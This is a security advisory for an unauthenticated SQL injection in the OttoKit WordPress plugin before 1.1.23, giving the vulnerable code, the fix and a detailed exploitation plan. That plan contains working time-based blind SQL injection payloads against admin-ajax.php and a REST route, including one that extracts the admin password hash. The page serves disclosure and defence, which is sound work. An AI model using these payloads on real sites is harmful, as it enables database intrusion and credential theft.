OttoKit: All-in-One Automation Platform < 1.1.23 - Unauthenticated SQL Injection
Description
The OttoKit: All-in-One Automation Platform plugin for WordPress is vulnerable to SQL Injection in versions up to 1.1.23 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.23
Source Code
WordPress.org SVNThis research plan outlines the exploitation of a critical unauthenticated SQL injection vulnerability in the OttoKit (formerly SureTriggers) WordPress plugin. ### 1. Vulnerability Summary The OttoKit plugin is vulnerable to SQL injection through its WP-Polls integration. The vulnerability exists i…
Show full research plan
This research plan outlines the exploitation of a critical unauthenticated SQL injection vulnerability in the OttoKit (formerly SureTriggers) WordPress plugin.
1. Vulnerability Summary
The OttoKit plugin is vulnerable to SQL injection through its WP-Polls integration. The vulnerability exists in the SureTriggers\Integrations\WpPolls\WpPolls::get_poll_context() method. User-controlled input (the selected answer IDs from a poll) is directly interpolated into a SQL IN clause within a $wpdb->prepare() call without using placeholders or proper sanitization.
This allows unauthenticated attackers to break out of the intended query and execute arbitrary SQL commands to extract sensitive information (like user hashes or secret keys) from the WordPress database.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-ajax.php(via the WP-Polls vote handler). - Vulnerable Action:
polls(WP-Polls default AJAX action). - Vulnerable Parameter:
poll_{id}_ans(where{id}is the poll ID). - Authentication Required: None (Unauthenticated).
- Preconditions:
- OttoKit plugin < 1.1.23 installed and active.
- WP-Polls plugin installed and active.
- At least one poll created and available for voting.
3. Code Flow
- A user submits a vote via the WP-Polls AJAX endpoint (
admin-ajax.php?action=polls). - WP-Polls processes the vote and triggers internal WordPress hooks (e.g.,
wp_polls_vote). - OttoKit, being an automation platform, listens for the WP-Polls voting event to trigger workflows.
- OttoKit's handler catches the event and attempts to gather "context" for the trigger to send to its automation engine.
- The handler calls
SureTriggers\Integrations\WpPolls\WpPolls::get_poll_context( $selected_answers_ids, $poll_id )located insrc/Integrations/wp-polls/wp-polls.php. - Inside
get_poll_context(), the$selected_answers_idsvariable is used:// src/Integrations/wp-polls/wp-polls.php $poll_data = $wpdb->get_row( $wpdb->prepare( " ... LEFT JOIN ( SELECT polla_qid, GROUP_CONCAT(polla_answers SEPARATOR ', ') AS selected_answers FROM {$wpdb->prefix}pollsa WHERE polla_aid IN ($selected_answers_ids) <-- VULNERABILITY: Raw Interpolation GROUP BY polla_qid ) AS sa ON p.pollq_id = sa.polla_qid WHERE p.pollq_id = %d ... ", $poll_id ) ); - The SQL injection is executed within the subquery's
INclause.
4. Nonce Acquisition Strategy
WP-Polls voting typically does not require a WordPress nonce for unauthenticated users (guests). It uses a simple POST request to admin-ajax.php. OttoKit's listener triggers automatically on the server-side when the WP-Polls action occurs, meaning no OttoKit-specific nonce is required to reach the vulnerable code.
5. Exploitation Strategy
Step 1: Identify Poll ID and Answer ID
First, navigate to the homepage or the page containing the poll to find the poll_id and at least one valid answer ID.
Step 2: Time-Based SQL Injection
Perform a time-based blind SQL injection to confirm the vulnerability. We will use the poll_id=1 and poll_1_ans parameter.
- Request Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Payload:
action=polls view=process poll_id=1 poll_1_ans=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Injected SQL Context:
WHERE polla_aid IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -) GROUP BY ...
Step 3: Data Extraction (Boolean or Error-Based)
If the site displays OttoKit errors or if the response time is measurable, extract the admin password hash.
- Payload (Extract User Hash):
(Note: 36 is the ASCII for '$', which starts most WP hashes)poll_1_ans=1) AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0))a)-- -
6. Test Data Setup
- Install WP-Polls and OttoKit.
- Create a test poll:
# Install plugins wp plugin install wp-polls --activate wp plugin install suretriggers --version=1.1.22 --activate # Create a simple poll with one question and one answer wp eval ' global $wpdb; $wpdb->insert($wpdb->prefix . "pollsq", ["pollq_question" => "Test Question", "pollq_timestamp" => time(), "pollq_totalvoters" => 0, "pollq_active" => 1, "pollq_expiry" => 0, "pollq_multiple" => 0, "pollq_totalvotes" => 0]); $qid = $wpdb->insert_id; $wpdb->insert($wpdb->prefix . "pollsa", ["polla_qid" => $qid, "polla_answers" => "Answer 1", "polla_votes" => 0]); echo "Created Poll ID: $qid\n"; '
7. Expected Results
- Control Request: A normal vote request should return immediately (usually with a
0or HTML partial from WP-Polls). - Exploit Request: The request containing
SLEEP(5)should take exactly 5 seconds (plus network overhead) to complete, as the database engine processes the subquery inside OttoKit's context fetching logic.
8. Verification Steps
- Observe Server Logs: Check if OttoKit or DB logs show the malformed query.
- Verify via WP-CLI: After confirming timing, verify if you can extract a known value (e.g., the site's
auth_key).# Verify timing for the first char of auth_key # (Simplified example using sleep if char matches)
9. Alternative Approaches
If the wp_polls_vote hook does not trigger the OttoKit logic as expected, check for OttoKit REST routes that might facilitate metadata fetching:
- Endpoint:
GET /wp-json/suretriggers/v1/integrations/wp-polls/poll-context?poll_id=1&selected_answers_ids=1) OR SLEEP(5)-- - - Auth: Check if OttoKit's REST API controllers (like
RestController) have routes withpermission_callbackset to__return_truefor fetching integration details. These are often used by the OttoKit dashboard to display sample data.
Summary
The OttoKit: All-in-One Automation Platform plugin is vulnerable to unauthenticated SQL injection via its WP-Polls integration. The vulnerability exists because user-controlled answer IDs are directly interpolated into a SQL IN clause within a subquery without proper sanitization or the use of placeholders, allowing attackers to execute arbitrary database queries.
Vulnerable Code
// src/Integrations/wp-polls/wp-polls.php (Lines 54-85) public static function get_poll_context( $selected_answers_ids, $poll_id ) { $context = []; $context['poll_id'] = $poll_id; global $wpdb; $poll_data = $wpdb->get_row( // phpcs:disable $wpdb->prepare( " SELECT p.pollq_question AS question, GROUP_CONCAT(a.polla_answers SEPARATOR ', ') AS answers, p.pollq_timestamp AS start_date, p.pollq_expiry AS end_date, sa.selected_answers FROM {$wpdb->prefix}pollsq p LEFT JOIN {$wpdb->prefix}pollsa a ON p.pollq_id = a.polla_qid LEFT JOIN ( SELECT polla_qid, GROUP_CONCAT(polla_answers SEPARATOR ', ') AS selected_answers FROM {$wpdb->prefix}pollsa WHERE polla_aid IN ($selected_answers_ids) GROUP BY polla_qid -- Group by polla_qid to avoid duplicate rows ) AS sa ON p.pollq_id = sa.polla_qid WHERE p.pollq_id = %d GROUP BY p.pollq_question, p.pollq_timestamp, p.pollq_expiry ", $poll_id ) // phpcs:enable );
Security Fix
@@ -51,6 +51,9 @@ $context = []; $context['poll_id'] = $poll_id; + // Sanitize answer IDs — cast each to integer to prevent SQL injection. + $selected_answers_ids = implode( ',', array_map( 'intval', explode( ',', $selected_answers_ids ) ) ); + global $wpdb; $poll_data = $wpdb->get_row( // phpcs:disable
Exploit Outline
The exploit targets the AJAX action used by the WP-Polls plugin, which triggers OttoKit's metadata gathering logic. An unauthenticated attacker sends a POST request to `wp-admin/admin-ajax.php` with the action set to `polls`. By manipulating the answer ID parameter (typically `poll_{id}_ans`), the attacker can break out of the subquery's `IN` clause using a payload like `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`. Since the input is not sanitized or properly prepared by OttoKit, this payload executes as arbitrary SQL, allowing for time-based blind injection or data extraction.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.